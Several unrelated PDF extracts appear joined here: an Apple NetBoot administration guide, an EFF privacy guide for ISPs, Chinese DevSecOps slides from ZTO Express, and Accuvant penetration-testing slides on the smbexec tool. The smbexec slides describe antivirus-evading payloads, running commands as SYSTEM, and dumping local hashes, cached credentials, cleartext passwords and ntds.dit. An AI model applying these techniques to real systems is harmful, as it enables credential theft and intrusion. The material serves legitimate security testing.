command in Terminal. For more information, see the system image chapter of the command-line administration guide. Setting an Image for Diskless Booting You can use Server Admin to make an image available for booting client computers that have no local disk drives. Setting an image for diskless booting instructs the NetBoot server to allocate space for the client’s shadow files. To make an image available for diskless booting: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Settings, then click Images. 3 Click the box in the Diskless column next to the image in the list. 4 Click Save. Important: If you have diskless clients, set their boot image as the default image. For help specifying where the client’s shadow files are stored, see “Choosing Where Shadow Files Are Stored” on page 35. From the Command Line You can also set an image to boot diskless using the serveradmin command in Terminal. For more information, see the system image chapter of the command-line administration guide. LL2348.Book Page 37 Thursday, August 21, 2003 10:58 AM 38 Chapter 3 Setting Up NetBoot Service Restricting NetBoot Clients by Filtering Addresses The filtering feature of NetBoot service lets you restrict NetBoot service based on a client computer’s Ethernet hardware (MAC) address. A client’s address is added to the filter list automatically the first time it starts up from an image on the server, and is allowed access by default, so it is usually not necessary to enter hardware addresses manually. To restrict client access to NetBoot service: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Settings, then click Filters. 3 Select either “Allow only clients listed below” or “Deny only clients listed below.” 4 Select “Enable NetBoot filtering.” 5 Use the Add (+) and Delete (-) buttons to set up the list of client addresses. To look up a MAC address, type the client’s DNS name in the Host Name field and click the Search button. To find the hardware address for a computer using Mac OS X, look on the TCP/IP pane of the computer’s Network preference or run Apple System Profiler. On a Mac OS 9 computer, open the TCP/IP control panel, choose File > Get Info. Changing Advanced NetBoot Options You can control additional NetBoot options by running the bootpd program directly and by modifying configuration parameters in NetInfo. For more information, read the bootpd man page. To view the bootpd man page: 1 Open Terminal. 2 Type man bootpd. LL2348.Book Page 38 Thursday, August 21, 2003 10:58 AM 4 39 4 Setting Up Clients This chapter describes how to set up client computers to start up from or install software from images on a server. Supporting Client Computers See “Client Computer Requirements” on page 14 for a list of supported Macintosh computers and the client system requirements for using NetBoot. Updating the Startup Disk Control Panel You need to replace the Startup Disk control panel for client computers running Mac OS 9 so that the control panel can display the available NetBoot disk images. Version 9.2.6 of the Startup Disk control panel is located on the NetBoot for Mac OS 9 CD (available separately). m Drag the new version of the control panel to the System Folder of each client computer running Mac OS 9 locally. Setting Up Diskless Clients NetBoot makes it possible to configure client computers without locally installed operating systems or even without any installed disk drives. “System-less” or diskless clients can start up from a NetBoot server using the N key method. (See “Starting Up Using the N Key” on page 42.) After the client computer has started up, you can use the Startup Disk preference pane (Mac OS X) or Startup Disk control panel (Mac OS 9) to select the NetBoot disk image as the startup disk for the client. That way you no longer need to use the N key method to start up the client from the server. Removing the system software from client computers gives you additional control over users’ environments. By forcing the client to boot from the server and using client management to deny access to the client computer’s local hard disk, you can prevent users from saving files to the local hard disk. LL2348.Book Page 39 Thursday, August 21, 2003 10:58 AM 40 Chapter 4 Setting Up Clients Selecting a NetBoot Boot Image (Mac OS X) If your computer is running Mac OS X version 10.2 or later, you use the Startup Disk System Preferences pane to select a NetBoot boot image. To select a NetBoot startup image from Mac OS X: 1 In System Preferences select the Startup Disk pane. 2 Select the network disk image you want to use to start up the computer. 3 Click Restart. The NetBoot icon appears, and then the computer starts up from the selected image. Selecting a NetBoot Boot Image (Mac OS 9) If your computer is running Mac OS 9, you use the Startup Disk control panel to select a NetBoot boot image. Note: You must update the Startup Disk control panel on client computers running Mac OS 9 from their local hard disks so they can see individual NetBoot disk images in the control panel. See “Updating the Startup Disk Control Panel” on page 39. To select a NetBoot startup image from Mac OS 9: 1 Open the Startup Disk control panel. 2 Select the network disk image you want to use to start up the computer. 3 Click Restart in the warning dialog that appears. The NetBoot icon appears, and then the computer starts up from the selected NetBoot disk image. LL2348.Book Page 40 Thursday, August 21, 2003 10:58 AM Chapter 4 Setting Up Clients 41 Selecting a NetBoot Install Image (Mac OS X) If your computer is running Mac OS X version 10.2 or later, you use the Startup Disk System Preferences pane to select a network boot image. To select an install image from Mac OS X: 1 In System Preferences select the Startup Disk pane. 2 Select the network disk image you want to use to start up the computer. 3 Click Restart. The NetBoot icon appears, the computer starts up from the selected image, and the installer runs. Selecting a NetBoot Install Image (Mac OS 9) If your computer is running Mac OS 9, you use the Startup Disk control panel to select a network install image. Note: You must update the Startup Disk control panel on client computers running Mac OS 9 from their local hard disks so they can see individual NetBoot disk images in the control panel. See “Updating the Startup Disk Control Panel” on page 39. To select an install image from Mac OS 9: 1 Open the Startup Disk control panel. 2 Select the install image you want to use to start up the computer. 3 Click Restart in the warning dialog that appears. The NetBoot icon appears, the computer starts up from the selected NetBoot disk image, and the installer runs. LL2348.Book Page 41 Thursday, August 21, 2003 10:58 AM 42 Chapter 4 Setting Up Clients Starting Up Using the N Key You can use this method to start up any supported client computer from a NetBoot disk image. When you start up with the N key, the client computer starts up from the default NetBoot disk image. (If multiple servers are present, then the client starts up from the default image of the first server to respond.) If you have an older client computer that requires BootP for IP addressing (a tray- loading iMac, blue and white PowerMac G3, or older computer), you must use this method for starting up from a NetBoot disk image. Older computers don’t support selecting a NetBoot startup disk image from the Startup Disk control panel or preferences pane. The N key also provides a way to start up client computers that don’t have system software installed. See “Setting Up Diskless Clients” on page 39. To start up from a NetBoot disk image using the N key: 1 Turn on (or restart) the client computer while holding the N key down on the keyboard. Hold the N key down until the NetBoot icon appears in the center of the screen (Mac OS X) or an arrow appears in the upper-left corner of the screen (Mac OS 9). 2 If a login window appears, enter your name and password. The network disk image has an icon typical of server volumes. LL2348.Book Page 42 Thursday, August 21, 2003 10:58 AM 5 43 5 Managing NetBoot Service This chapter describes typical day-to-day tasks you might perform to keep NetBoot service running efficiently, and includes information on load balancing across multiple volumes on a server or across multiple servers. Controlling and Monitoring NetBoot The following sections show how to stop NetBoot service, disable individual images, and monitor or restrict clients. Turning Off NetBoot Service The best way to prevent clients from using NetBoot on the server is to disable NetBoot service on all Ethernet ports. To disable NetBoot: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Stop Service. To stop service on a specific Ethernet port, click Settings, click General, and deselect the Enable checkbox for the port. To stop serving a particular image, click Settings, click Images, and deselect the Enable checkbox for the image. To stop service to a particular client, click Settings, click Filters, select Enable NetBoot Filtering, choose “Deny only clients listed below,” and add the client’s hardware address to the list. From the Command Line You can also stop NetBoot service or disable images using the serveradmin command in Terminal. For more information, see the system image chapter of the command-line administration guide. LL2348.Book Page 43 Thursday, August 21, 2003 10:58 AM 44 Chapter 5 Managing NetBoot Service Disabling Individual Boot or Install Images Disabling an image prevents client computers from starting up using the image. To disable a NetBoot disk image: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Settings, then click Images. 3 Deselect the checkbox in the Enable column for the image. 4 Click Save. From the Command Line You can also disable images using the serveradmin command in Terminal. For more information, see the system image chapter of the command-line administration guide. Viewing a List of NetBoot Clients You can use Server Admin to see a list of clients that have booted from the server. Note: This is a cumulative list—a list of all clients that have connected—not a list of just currently connected clients. The last boot time is shown for each client. To view the client list: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Clients. Checking the Status of NetBoot and Related Services You can use Server Admin to check the status of NetBoot service and the other services (such as NFS and TFTP) that it uses. To check NetBoot service status: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 To see a summary of service status, click Overview. To view the log file, click Logs. From the Command Line You can check the status of NetBoot and its supporting services using commands in Terminal. See the system image chapter of the command-line administration guide. Viewing the NetBoot Service Log You can use Server Admin to view a log containing diagnostic information. To view NetBoot service log: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Logs. From the Command Line You can see the log by viewing the contents of the log file in Terminal. For more information, see the system image chapter of the command-line administration guide. LL2348.Book Page 44 Thursday, August 21, 2003 10:58 AM Chapter 5 Managing NetBoot Service 45 Performance and Load Balancing For good startup performance, it is critical that the NetBoot server be available to the client computer relying on it. To provide responsive and reliable NetBoot service, you can set up multiple NetBoot servers in your network infrastructure. Many sites using NetBoot achieve acceptable responsiveness by staggering the boot times of client computers in order to reduce network load. Generally, it isn’t necessary to boot all client computers at exactly the same time; rather, client computers are booted early in the morning and remain booted throughout the work day. You can program staggered startup times using the Energy Saver preferences pane (Mac OS X version 10.3 or later) or control panel (Mac OS 9). Boot Images If heavy usage and simultaneous client startups are overloading a NetBoot server and causing delays, consider adding additional NetBoot servers to distribute the demands of the client computers across multiple servers (load balancing). When incorporating multiple NetBoot servers, it is important to use switches in your network infrastructure, as the shared nature of hubs creates a single shared network on which additional servers would have to vie for time. Distributing Boot Images Across Servers If you set up more than one NetBoot server on your network, you can place copies of a particular boot image on multiple servers to distribute the load. By assigning the copies the same image ID in the range 4096–65535, you can advertise them to your clients as a single image to avoid confusion. To distribute an image across servers: 1 Open Network Image Utility on the server where the original image is stored. 2 Click Images (near the top of the window) and select the image in the list. 3 If the image’s Index is 4095 or lower, click Edit and give the image an index in the range 4096–65535. 4 Use the Export button to place copies of the image on the other servers. 5 On each of the other servers, use Server Admin to enable the image. Clients still see the image listed only once in their Startup Disk preferences, but the server that delivers its copy of the image is automatically selected based on how busy the individual servers are. Smaller improvements can be achieved by distributing boot images across multiple disk drives on a single server. LL2348.Book Page 45 Thursday, August 21, 2003 10:58 AM 46 Chapter 5 Managing NetBoot Service Distributing Boot Images Across Server Disk Drives Even with a single NetBoot server, you might improve performance by distributing copies of an image across multiple disk drives on the server. By assigning the copies the same image ID in the range 4096–65535, you can advertise them to your clients as a single image. Note: Don’t distribute images across different partitions of the same physical disk drive. Doing so does not improve, and can even reduce, performance. To distribute an image across disk drives: 1 Open Server Admin and select NetBoot in the Computers & Services list. 2 Click Settings, then click General. 3 Click in the Images column for each volume you want to use for storing images. Choose volumes on different physical disk drives. 4 Click Save, then click Images. 5 If the image’s ID in the Index column is 4095 or lower, double-click the ID, type an index in the range 4096–65535, and save the change. 6 Open Terminal, switch to the root user, and use the cp command to copy the image to the NetBootSPn share points on the other volumes. For example: sudo root cp -R /Library/NetBoot/NetBootSP0/image.nbi /Volumes/Drive2/Library/ NetBoot/NetBootSP1/image.nbi Balancing Boot Image Access If you add a second NetBoot server to a network, have your clients reselect their boot image in the Startup Disk control panel or preferences pane. This causes the NetBoot load to be redistributed among the servers. You can also force redistribution of the load by deleting the file /var/db/bsdpd_clients from the existing NetBoot server. Similarly, if you’re recovering from a server or infrastructure failure, and your clients have been booting from a reduced number of NetBoot servers, you’ll need to delete the bsdpd_clients file from the running servers so that clients can once again spread out across the entire set of servers. The bsdpd_clients file on any given server holds the Ethernet Media Access Control (MAC) addresses of the computers that have selected this server as their NetBoot server. As long as a client has an entry in an available server’s bsdpd_clients file, it will always boot from that server. If that server should become unavailable to those clients, they will locate and associate themselves with an available server until such time as you remove their entries (or the entire files) from their servers. (If a client is registered on more than one server because an unavailable server comes back on line, the client boots from the server with the fewest number of clients booted off of it.) LL2348.Book Page 46 Thursday, August 21, 2003 10:58 AM Chapter 5 Managing NetBoot Service 47 Distributing Shadow Files Clients booting from Mac OS 9 images and clients booting from Mac OS X diskless images store temporary “shadow” files on the server. The way the server distributes these shadow files depends on whether the client is booting diskless Mac OS X or Mac OS 9. Mac OS X Diskless Booting By default, NetBoot for Mac OS X clients creates a share point for client shadow files on the server boot volume. (You can change this behavior; see “Changing How Mac OS X NetBoot Clients Allocate Shadow Files” on page 24.) You can use Server Admin to see this share point and to add others. The share points are named NetBootClientsn where n is the share point number. Share points are numbered starting with zero. For example, if your server has two disk volumes, the default shadow-file directory is NetBootClients0 on the boot volume. If you use Server Admin to specify that client data should also be stored on the second volume, the directory is named NetBootClients1. NetBoot stores the first client’s shadow files on NetBootClients0, the second client’s shadow files on NetBootClients1, the third client’s shadow files on NetBootSP0, and so on. Likewise, with three volumes selected and eight clients, the first, fourth, and seventh clients will use the first volume; the second, fifth, and eighth clients will use the second volume; and the third and sixth clients will use the third volume.This load balancing is automatic and usually ensures optimal performance. To prevent shadow files from being placed on a particular volume, use the General pane in the NetBoot service settings in Server Admin. Mac OS 9 Booting By default, NetBoot for Mac OS 9 creates share points for client shadow files on the server boot volume. For example, if your server has two volumes installed, it has two share points (NetBootSP0 and NetBootSP1), and NetBoot stores the first client’s shadow image on NetBootSP0, the second client’s shadow image on NetBootSP1, the third client’s shadow image on NetBootSP0, and so on. Suppose, for example, that you partition a 60 GB drive into a 10 GB boot partition and a 50 GB data partition with the intention of keeping just your operating system and associated configuration files on the boot partition and all user data (such as client shadow images) on the data partition. After installation of the NetBoot For 9 software, there will be a NetBootClients0 on the boot partition and a NetBootClients1 on the data partition. To prevent Mac OS 9 shadow files from being placed on a particular volume or partition, delete the hidden file /Library/NetBoot/.clients from the volume, then stop and restart NetBoot service. LL2348.Book Page 47 Thursday, August 21, 2003 10:58 AM 48 Chapter 5 Managing NetBoot Service Advanced NetBoot Tuning You can adjust a wide range of NetBoot options by running the bootpd program directly and by modifying configuration parameters in specific NetInfo directories. For more information, read the bootpd man page. To view the man page, open Terminal and type man bootpd. LL2348.Book Page 48 Thursday, August 21, 2003 10:58 AM 6 49 6 Solving Problems This chapter provides solutions for common problems you may encounter while working with NetBoot and Network Install. General Tips • Make sure a DHCP service is available on your network. It can be provided by the Mac OS X Server DHCP service or another server. • Make sure required services are started on the server. See “Network Service Requirements” on page 15. Open Server Admin and make sure: • AFP is started if you’re booting Mac OS 9 clients or Mac OS X diskless clients • Web service is started if you’re using HTTP instead of NFS to deliver images A NetBoot Client Computer Won’t Start Up • Sometimes a computer may not start up immediately because other computers are putting a heavy demand on the network. Wait a few minutes and try starting up again. • Make sure that all the cables are properly connected and that the computer and server are getting power. • If you installed memory or an expansion card in the client computer, make sure it is installed properly. • If the server has more than one Ethernet card, or you’re using more than one port on a multiport Ethernet card, check to see if other computers using the same card or port can start up. If they can’t, check to be sure the Ethernet port you set up on the server is the same port to which the client computer is connected. It’s easy to mistake Ethernet port 1 for Ethernet port 4 on a multiport card. On the cards that come preinstalled in Macintosh servers, the ports are numbered 4, 3, 2, 1 (from left to right), if you’re looking at the back of the computer. • If the computer has a local hard disk with a System Folder on it, disconnect the Ethernet cable and try to start up the computer from the local hard disk. Then reconnect the Ethernet cable and try to start up the computer from the network. LL2348.Book Page 49 Thursday, August 21, 2003 10:58 AM 50 Chapter 6 Solving Problems • Boot the client computer from a local drive and check that it is getting an IP address from DHCP. • On a diskless or systemless client, start up from a system CD and use the Startup Disk preferences to select a boot image. You’re Using Macintosh Manager and a User Can’t Log In to a NetBoot Client • Check to see if the user can log in to other computers. If the user can log in to other computers, then the computer the user can’t log in to may be connected to a Macintosh Manager server on which the user does not have an account. If there is more than one Macintosh Manager server, make sure the user has selected a server on which he or she has an account. • Open Macintosh Manager and make sure the user is a member of at least one workgroup. • Open Macintosh Manager and reset the user’s password. The Create Button in Network Image Utility Is Not Enabled • Make sure you have entered an image name and ID in the General pane. • Make sure you have chosen an image source in the Contents pane. • For an image based on a CD or DVD source, make sure you have entered a default user name with a password that is at least four characters long in the Default User pane. Controls and Fields in Network Image Utility are Disabled • Click New Boot or New Install at the top of the window, or close and reopen the Network Image Utility. I Can’t Set an Image to Use Static Booting (NetBoot version 1.0) • Static network booting, as provided by NetBoot version 1.0, is not supported in Mac OS X Server version 10.3. LL2348.Book Page 50 Thursday, August 21, 2003 10:58 AM 51 Glossary Glossary DHCP (Dynamic Host Configuration Protocol) A protocol used to distribute IP addresses to client computers. Each time a client computer starts up, the protocol looks for a DHCP server and then requests an IP address from the DHCP server it finds. The DHCP server checks for an available IP address and sends it to the client computer along with a lease period—the length of time the client computer may use the address. disk image A file that when opened creates an icon on a Mac OS desktop that looks and acts like an actual disk or volume. Using NetBoot, client computers can start up over the network from a server-based disk image that contains system software. HTTP (Hypertext Transfer Protocol) An application protocol that defines the set of rules for linking and exchanging files on the World Wide Web. NetBoot server A Mac OS X server on which you have installed NetBoot software and have configured to allow clients to start up from disk images on the server. LL2348.Book Page 51 Thursday, August 21, 2003 10:58 AM LL2348.Book Page 52 Thursday, August 21, 2003 10:58 AM 53 Index Index A automating Network Install 31 B booter file 10 BootFile property 12 specifying for NetBoot image 12 BootFile NetBoot image property 12 Boot Server Discovery Protocol See BSDP BSDP (Boot Server Discovery Protocol) 13 role in NetBoot 13 bsdpd_clients file determining client NetBoot server 46 role and location 9 C capacity planning NetBoot 16 Classic installing in NetBoot image 21 client computers start up using N key 42 client computers, Mac OS 9 selecting NetBoot install image 41 selecting NetBoot startup image 40 client computers, Mac OS X selecting NetBoot install image 41 selecting NetBoot startup image 40 D Description NetBoot image property 12 directory access configuring in boot images 21 disk images, NetBoot 7, 8 creating 17, 19 creating from existing clients 22 installing Classic in 21 on an NFS server 13 unlocking 27, 35, 36, 37, 38 updating Mac OS X 22, 23 disk images, Network Install unlocking 27, 35, 36, 37, 38 updating 32 diskless booting and default boot image 37 required services 15 E empty install images See custom package install images Ethernet disabling NetBoot on ports 43 requirements for NetBoot 16 G G4. See Power Mac G4 G5. See Power Mac G5 I image folder, NetBoot 10–11 images separate for G5 14 Index NetBoot image property 12 install image, selecting 41 IsDefault NetBoot image property 12 IsEnabled NetBoot image property 12 IsInstall NetBoot image property 12 L Language NetBoot image property 12 load balancing NetBoot and 45–47 N Name NetBoot image property 12 LL2348.Book Page 53 Thursday, August 21, 2003 10:58 AM 54 Index NBImageInfo.plist NetBoot property file 10, 11, 12 NetBoot 13, 39 administrator requirements 14 administrator tools for 8 AirPort and 16 Boot Server Discovery Protocol (BSDP) 13 capacity planning 16 client computers 39, 40, 41 configuring 33 creating images from existing clients 22 creating Mac OS X disk images 19 default image 37 disabling images 44 disabling on Ethernet ports 43 disk images 8 enabling 34 filtering clients 38 image folder 10–11 installing Classic in image 21 key features 7 load balancing 45–47 monitoring Mac OS X clients 44 property lists 11 security 13 server requirements 15 setting up Mac OS 9 disk image 25 setup overview 17 shadow files 9 solving problems 49 supported clients 14 Trivial File Transfer Protocol (TFTP) 13 updating Mac OS X images 22, 23 updating Startup Disk control panel 39 NETBOOT_SHADOW variable table of values 24 NetBootClientsn share points allocating shadow files 10 NetBoot Desktop Admin 11 NetBootSPn share points adding or removing 35 don’t rename volume 35 location 9 overview 8 Network Image Utility 10 creating disk image 28 creating Mac OS X disk image 19 where to find 28 Network Install about packages 29 automating installation 31 creating an image 28 creating custom packages 30 P PackageMaker help for 30 where to find 30 packages about 29 adding to an image 30 creating 30 viewing contents of 32 Power Mac G4 images not for G5 14 Power Mac G5 images not for earlier CPUs 14 R RootPath NetBoot image property 12 S security NetBoot 13 Server Status monitoring Mac OS X NetBoot clients 44 shadow files about 9 allocation options 24 distributing 47 overview 9 share points for 8 share points for images 8 for shadow files 8 starting up using N key 42 Startup Disk control panel, updating 39 startup image, selecting 40 SupportsDiskless NetBoot image property 12 synchronizing image with source 23 T TFTP (Trivial File Transfer Protocol) role in NetBoot 13 Trivial File Transfer Protocol See TFTP troubleshooting NetBoot 49 Type NetBoot image property 12 U unlocking disk images 27, 35, 36, 37, 38 updating NetBoot images 22, 23 LL2348.Book Page 54 Thursday, August 21, 2003 10:58 AM
pdf
User Privacy for ISPs and Accidental ISPs For latest version, please see http://www.eff.org/ User Privacy for ISPs and Accidental ISPs. The Digital Millennium Copyright Act gives people who claim to own copyrights tremendous power to invade the privacy of Internet users. With only a clerk’s stamp on a form, almost anyone can demand that an Internet service provider reveal its users’ personal information – if the ISP has that information. If you’re served with a subpoena, as the RIAA showed Verizon in court, you don’t get to choose whether or not to respond. This means your data is at the mercy of not just record companies seeking out music swappers, but also private detectives, spammers, and cranks of all kinds who might demand users’ names and addresses.1 Whether you’re a big ISP or dorm-room sysadmin, you can preserve your users’ privacy best by not keeping any logs containing that information or connecting them to online activity in the first place – you can’t be made to disclose information you don’t have. If you are not in business as an ISP, but are providing network connectivity – for example, offering wired or wireless access to library patrons, visitors at a café, or friends and neighbors in a residence – you may still be the target of one of these information demands. But as a non-commercial ISP, you’ve probably got no good reason to keep this info in the first place. In fact, you may want to become an “accidental ISP” in order to provide some additional privacy for people downstream from your router. Changing the way that you keep records and connect your users in simple ways can help you limit the legal hassles you’ll face as a non-commercial ISP. Computers are uniquely identified on their networks by IP address.2 To protect privacy, network administrators can opt to assign pools of IP addresses dynamically, rotating a fixed number of addresses randomly among a group of users, then delete assignment logs promptly to protect the privacy of users. EFF is not aware of any law that requires ISPs to keep any records that would tie particular IP addresses to particular user identities. Privacy-enhancing network management. Many networking tools – from your DHCP server to your webserver – can be configured to capture a little or a lot of information about your users. Start by configuring these tools to log only the information you need for troubleshooting and network security, and by flushing your logs after you’re done with them. 1In RIAA v. Verizon, the recording industry forced Verizon to disclose the names and addresses of subscribers accused of sharing files using KaZaA. EFF and 44 other consumer privacy groups and ISPs filed a brief in that case to protest the broad user privacy implications. Because the law does not look into the basis for the copyright complaint before demanding compliance with the subpoena, but relies on the requester’s “good faith,” it is ripe for abuse by stalkers, identity thieves, and criminals. All that someone needs to start is an IP address, which can be picked out of any email, instant message, or download obtained from a file-sharing network. 2 Internet Protocol (IP) addresses may be private to a local-area network (often gated to the Internet via NAT) or routable on the Internet. DHCP can be used with either type of address. Even though hard drives are cheap, there are hidden costs to packratting data about your users, like the expense of keeping that information away from legal attackers who use bad laws to undermine the privacy citizens of a free society need. Think twice before you capture data, and think three times before you store it. Purge data logs you don’t need. Set a regular schedule to erase logs and backups you no longer need, using strong deletion utilities.3 If you reuse media, do a strong delete before rewriting. Overwrite free space and swap files so you’re not inadvertently retaining data. Scrub the logs you do need to remove extraneous information, particularly personally identifiable information. For example, if you’re interested in what country your users are coming from, resolve IP addresses to a national origin and then flush the IPs themselves. If you don’t need information on who’s connecting when (and you usually don’t), here are some concrete ways to structure your network to enhance privacy: • Assign dynamic IP addresses and don’t keep logs of past assignments. Once a DHCP lease ends, flush it from the logs. • Turn down DHCP lease time. • If you authenticate users by MAC addresses, don’t keep records of who uses which MAC. • If you connect dial-up users, don’t log the caller ID and user ID to IP address pairings. Becoming an “accidental ISP” to protect privacy. Inexpensive networking equipment is putting an increasing number of people in the role of network administrators. For example, for less than $100, one user in a college dorm can run an open Wi-Fi router to provide wireless network access to an entire floor. Properly configured software on the wireless router can make the identities of individual users difficult to ascertain. If your service provider’s terms permit it, you may want to set up such a network. For more information, please visit the EFF website, <http://www.eff.org/> 3 Simply deleting data from a hard drive, or even writing over it, doesn’t remove all its traces from the media. Undelete utilities and forensic analysis can often recover data that has been only weakly deleted. Strong deletion utilities (also known as secure deletion utilities) write over the old data enough times to clear those remnants.
pdf
中通自动化安全运营 演讲人:中通快递 马 辰 Title :中通安全运营负责人 中通安全运营介绍 中通自动化安全运营 - DevSecOps 中通安全赋能 中通安全运营的未来 目录 中通安全运营介绍 中通安全运营介绍 安全合规 中通安全 安全运营 安全测试 安全开发 安全运维 主动防御型,完成体系 建设后开始搭建安全自 动化平台,安全可视化 后,可以快速准确地感 知安全威胁并进行自动 响应和处理,对安全威 胁主动出击。 安全自动化平台建设 需求驱动型,经历过 不断的救火后,从基 础安全开始重点解决 安全需求中优先级最 高的安全问题。 基础安全建设 主动建设型,完成基 础安全建设后开始建 设完整的安全体系, 主要是为了最大化地 发现当前潜在的安全 威胁以及避免未来可 能发生的安全风险。 安全体系化建设 中通安全运营介绍 事件驱动型,由一个 安全漏洞或者事件驱 动开始建设安全,主 要目的是处理当前的 安全事件。 救火阶段 中通安全运营介绍 安全运营 将安全写入企业的基因。 中通自动化安全运营 DevSecOps SDL(Security Development Lifecycle) DevSecOps 怎么用有限的安全资源完成整个系统生命周期的覆盖? 中通自动化安全运营 DevSecOps 天 眼 系 统 中 通 学 院 安 全 需 求 评 审 安 全 架 构 评 审 CMDB 星云系统 同安漏洞管理系统 Jump server 被 动 扫 描 安 全 测 试 主 机 安 全 管 理 系 统 中 通 安 全 应 急 响 应 中 心 安 全 线 上 巡 航 项目管理系统 安 全 编 码 规 范 扫 描 钓 鱼 测 试 系 统 中通质控中心 代 码 扫 描 中通自动化安全运营 DevSecOps 中通安全管理运营平台 中通自动化安全运营 DevSecOps 中通天眼系统 30秒快速验证 中通安全培训体系 钓鱼测试系统 中通自动化安全运营 DevSecOps 产品需求评审 产品管理委员会 产品经理 信息安全师 项目经理 信息安全师 系统架构师 安全架构师 产品立项 系统架构评审 中通自动化安全运营 DevSecOps 中通安全编码规范 开发安全工程师 星云系统 中通自动化安全运营 DevSecOps 静态代码扫描引擎 中通安全编码规范 Gitlab IDE插件 研发提交代码 安全测试阶段 功能测试阶段 GIT库代码扫描,保 障代码库内的代码 安全。 被动扫描,完成功能 测试时即可查看安全 扫描结果。 标准化的半自动安全 增量测试,主要测试 越权等安全扫描较难 覆盖的安全风险。 中通自动化安全运营 DevSecOps 测试环境 生产环境 中通自动化安全运营 DevSecOps 安全测试准出流程 星云DevOps 中通自动化安全运营 DevSecOps 安全访问流程 欢迎关注中通安全 中通安全应急响应中心 中通自动化安全运营 DevSecOps 中通安全赋能 中通安全赋能 中通安全 安全能力 安全服务 安全影响力 中通安全赋能 市场部: 招标要求项全部符合,要中标。 监察中心: 可以快速定位嫌疑人。 测试工程师: 安全测试工资高,我想学安全测试。 研发工程师: 系统按时上线不要出BUG。 中通安全赋能 研发部门 统一登录系统 权限管理系统 安全存储服务 安全日志中心 安全风控系统 运维部门 网络安全架构 主机安全基线 主机安全监控 上网准入系统 办公安全管理 质量部门 被动扫描系统 安全测试 漏洞管理系统 安全风险管理 安全风险分析 产品部门 实人认证 安全合规 安全审计 需求安全评审 安全加固 中通安全赋能 人力资源中心 资产管理中心 营运中心 监察中心 市场部 法务部 公共事务中心 服务质量中心 中通快递 中 通 快 运 大 誉 国 际 中 通 商 业 中 通 金 融 中 通 云 仓 星 联 航 空 中 通 智 能 中 快 传 媒 中通安全 中通安全赋能 中通安全赋能 安全服务 安全能力 安全影响力 中通安全运营的未来 安全可视化 安全自动化 安全生态化 安全数字化 中通安全运营的未来 中通安全运营的未来 中通安全开放平台 被动扫描系统 同安漏洞管理平台 安全应急响应中心 威胁情报共享平台 中通安全运营的未来 THANKS 欢迎关注中通安全 欢迎与我多多交流
pdf
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. Getting the goods with smbexec Eric Milam – Brav0hax Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. Don’t you know who I am? • Attack & Pen -> Accuvant LABS • Open Source Projects -> easy-creds, smbexec, ettercap, Kali Linux Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. What is smbexec? What does it do? Why should I care? • There’s nothing 0 day here! BOO! • Yes, but automation is awesome! • You can use this tool immediately • It will make post-exploitation much easier What’s this all about? Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. • Bash script, yes, a bash script… • 1 week of work, consuming a years worth of Mountain Dew • Power of the tool lies in smbclient & winexe • smbclient to get/put files • winexe to execute What is smbexec? Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. • Standard msf payloads with psexec module kept getting popped by AV • Custom exes also popped because AV trigger is on injection (service protection) • Damn you trend micro, but thanks for the motivation • Blog post from Carnal0wnage • Upload and execute your payload Why write smbexec? Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. I want my shells and I want them now! • Creates an obfuscated payload that will bypass most commercial AV • Enable Hyperion Crypter to encrypt the payload • Creates a Metasploit rc file and launches a Metasploit listener to make things “easy.” • Attack can be launched in xterm or screen What have you done for me lately? Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. What? You can get all this great stuff with winexe and native windows commands? Going Native Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. • winexe is similar to sysinternals psexec and the --system flag is awesome • No “payload” necessary • Looks like normal Windows traffic to OPSEC. • Successful logins and not much else Move Along - Nothing to see here… Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. Execute commands as SYSTEM, the possibilities are virtually limitless • Dump hashes from workstations and servers • Create a Volume Shadow Copy • Run other tools (as SYSTEM) • Disable or bypass UAC • Check systems for DA/EA accounts logged in or running a process Master and Commander Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. • Dump hashes workstation/servers • reg.exe save (HKLM SYS,SEC,SAM) • SYS+SAM=Local Hashes • SYS+SEC=Domain Cached Creds • creddump converts to hashes in John format for you smbexec – grab local & dcc hashes Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. WCE FTW! • Incorporated into smbexec with permission from the owner • wce.exe and the -w flag • Runs automagically as part of the hash grab functionality smbexec – clear text passwords Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. • Creates a Volume Shadow Copy, grabs the SYS reg key and get the hashes from ntds.dit • Fully automated to grab all the goods and cleans up after you • NTDSXtract & libesedb runs automatically if grabbing the NTDS.dit and SYS key is successful • ntds.output file converted into a list of hashes in John format • Tab separated cred list created for other functionality smbexec – automated VSC Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. smbexec hashgrab demo Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. The caveats…there’s always something You need a credential with admin rights for the system (local or domain) • administrator:password can usually get you started in 9 out of 10 corporate networks • NBNS spoofing • ettercap • Of course there’s always MS08-067 ;-) Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. • winexe creates a service, could be stopped or become a red flag • Sometimes AV doesn't like wce • wce included with smbexec has been obfuscated with the approval of the original developer • Authentication over port 139 or 445 is required • Locard's exchange principle "Every contact leaves a trace" When they’re blue teaming… Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. 